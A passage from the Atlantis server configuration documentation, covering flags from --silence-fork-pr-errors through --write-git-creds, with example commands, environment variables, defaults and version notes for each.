--silence-fork-pr-errors # or ATLANTIS_SILENCE_FORK_PR_ERRORS=true Normally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set, it will comment back with an error. This flag disables that commenting. ### `--silence-no-projects` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration.html#silence-no-projects) bash atlantis server --silence-no-projects # or ATLANTIS_SILENCE_NO_PROJECTS=true `--silence-no-projects` will tell Atlantis to ignore PRs if none of the modified files are part of a project defined in the `atlantis.yaml` file. This flag ensures an Atlantis server only responds to its explicitly declared projects. This has no effect if projects are undefined in the repo level `atlantis.yaml`. This also silences targeted commands (e.g. `atlantis plan -d mydir` or `atlantis apply -p myproj`) so if the project is not in the repo config `atlantis.yaml`, these commands will not run or report back in a comment. This is useful when running multiple Atlantis servers against a single repository so you can delegate work to each Atlantis server. Also useful when used with pre\_workflow\_hooks to dynamically generate an `atlantis.yaml` file. ### `--silence-vcs-status-no-plans` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#silence-vcs-status-no-plans) bash atlantis server --silence-vcs-status-no-plans # or ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS=true `--silence-vcs-status-no-plans` will tell Atlantis to ignore setting VCS status on plans if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--silence-vcs-status-no-projects` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#silence-vcs-status-no-projects) bash atlantis server --silence-vcs-status-no-projects # or ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS=true `--silence-vcs-status-no-projects` will tell Atlantis to ignore setting VCS status on any command if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--skip-clone-no-changes` v0.15.0 [​](https://www.runatlantis.io/docs/server-configuration.html#skip-clone-no-changes) bash atlantis server --skip-clone-no-changes # or ATLANTIS_SKIP_CLONE_NO_CHANGES=true `--skip-clone-no-changes` will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` file. Defaults to `false`. ### `--slack-token` v0.43.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#slack-token) bash atlantis server --slack-token=token # or (recommended) ATLANTIS_SLACK_TOKEN='token' API token for Slack notifications. See [Using Slack hooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-slack-hooks) . ### `--ssl-cert-file` v0.2.4+ [​](https://www.runatlantis.io/docs/server-configuration.html#ssl-cert-file) bash atlantis server --ssl-cert-file="/etc/ssl/certs/my-cert.crt" # or ATLANTIS_SSL_CERT_FILE="/etc/ssl/certs/my-cert.crt" File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. ### `--ssl-key-file` v0.2.4+ [​](https://www.runatlantis.io/docs/server-configuration.html#ssl-key-file) bash atlantis server --ssl-key-file="/etc/ssl/private/my-cert.key" # or ATLANTIS_SSL_KEY_FILE="/etc/ssl/private/my-cert.key" File containing x509 private key matching `--ssl-cert-file`. ### `--stats-namespace` v0.43.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#stats-namespace) bash atlantis server --stats-namespace="myatlantis" # or ATLANTIS_STATS_NAMESPACE="myatlantis" Namespace for emitting stats/metrics. See [stats](https://www.runatlantis.io/docs/stats) section. ### `--tf-distribution` v0.24.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#tf-distribution) Deprecated Deprecated for `--default-tf-distribution`. ### `--tf-download` v0.18.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#tf-download) bash atlantis server --tf-download=false # or ATLANTIS_TF_DOWNLOAD=false Defaults to `true`. Allow Atlantis to list and download additional versions of Terraform. Setting this to `false` can be useful in an air-gapped environment where a download mirror is not available. ### `--tf-download-url` v0.18.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#tf-download-url) bash atlantis server --tf-download-url="https://releases.company.com" # or ATLANTIS_TF_DOWNLOAD_URL="https://releases.company.com" An alternative URL to download Terraform versions if they are missing. Useful in an airgapped environment where releases.hashicorp.com is not available. Directory structure of the custom endpoint should match that of releases.hashicorp.com. This has no impact if `--tf-download` is set to `false`. This setting is not yet supported when `--tf-distribution` is set to `opentofu`. ### `--tfe-hostname` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#tfe-hostname) bash atlantis server --tfe-hostname="my-terraform-enterprise.company.com" # or ATLANTIS_TFE_HOSTNAME="my-terraform-enterprise.company.com" Hostname of your Terraform Enterprise installation to be used in conjunction with `--tfe-token`. See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. If using Terraform Cloud (i.e. you don't have your own Terraform Enterprise installation) no need to set since it defaults to `app.terraform.io`. ### `--tfe-local-execution-mode` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#tfe-local-execution-mode) bash atlantis server --tfe-local-execution-mode # or ATLANTIS_TFE_LOCAL_EXECUTION_MODE=true Enable if you're using local execution mode (instead of TFE/C's remote execution mode). See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. ### `--tfe-token` v0.8.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#tfe-token) bash atlantis server --tfe-token="xxx.atlasv1.yyy" # or (recommended) ATLANTIS_TFE_TOKEN='xxx.atlasv1.yyy' A token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](https://www.runatlantis.io/docs/terraform-cloud) for more details. ### `--use-tf-plugin-cache` v0.26.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#use-tf-plugin-cache) bash atlantis server --use-tf-plugin-cache=false Set to false if you want to disable terraform plugin cache. This flag is useful when having multiple projects that need to run a plan and apply in the same PR to avoid the race condition of `plugin_cache_dir` concurrently, this is a terraform known issue, more info: * [plugin\_cache\_dir concurrently discussion](https://github.com/hashicorp/terraform/issues/31964) * [PR to improve the situation](https://github.com/hashicorp/terraform/pull/33479) The effect of the race condition is more evident when using parallel configuration to run plan and apply. Disabling the use of plugin cache will impact the performance when starting a new plan or apply, but in large Atlantis deployments with multiple projects and shared modules the use of `--parallel_plan` and `--parallel_apply` is mandatory for an efficient management of the PRs. ### `--var-file-allowlist` v0.19.5 [​](https://www.runatlantis.io/docs/server-configuration.html#var-file-allowlist) bash atlantis server --var-file-allowlist='/path/to/tfvars/dir' # or ATLANTIS_VAR_FILE_ALLOWLIST='/path/to/tfvars/dir' Comma-separated list of additional directory paths where [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) can be read from. The paths in this argument should be absolute paths. Relative paths and globbing are currently not supported. If this argument is not provided, it defaults to Atlantis' data directory, determined by the `--data-dir` argument. ### `--vcs-status-name` v0.42.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#vcs-status-name) bash atlantis server --vcs-status-name="atlantis-dev" # or ATLANTIS_VCS_STATUS_NAME="atlantis-dev" Name used to identify Atlantis when updating a pull request status. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository so you can give each Atlantis server its own unique name to prevent the statuses clashing. ### `--web-basic-auth` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#web-basic-auth) bash atlantis server --web-basic-auth # or ATLANTIS_WEB_BASIC_AUTH=true Enable Basic Authentication on the Atlantis web service. ### `--web-password` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#web-password) bash atlantis server --web-password="atlantis" # or ATLANTIS_WEB_PASSWORD="atlantis" Password used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--web-username` v0.1.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#web-username) bash atlantis server --web-username="atlantis" # or ATLANTIS_WEB_USERNAME="atlantis" Username used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--webhook-http-headers` v0.35.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#webhook-http-headers) bash atlantis server --webhook-http-headers='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' # or ATLANTIS_WEBHOOK_HTTP_HEADERS='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' Additional headers added to each HTTP POST payload when using [http webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#using-http-webhooks) provided as a JSON string. The map key is the header name and the value is the header value (string) or values (array of string). ### `--websocket-check-origin` v0.19.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#websocket-check-origin) bash atlantis server --websocket-check-origin # or ATLANTIS_WEBSOCKET_CHECK_ORIGIN=true Only allow websockets connection when they originate from the running Atlantis web server ### `--write-git-creds` v0.11.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#write-git-creds) bash atlantis server --write-git-creds # or ATLANTIS_WRITE_GIT_CREDS=true Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH. See [Git Credential Store documentation](https://git-scm.com/docs/git-credential-store) for more information. Follow the `git::ssh` ---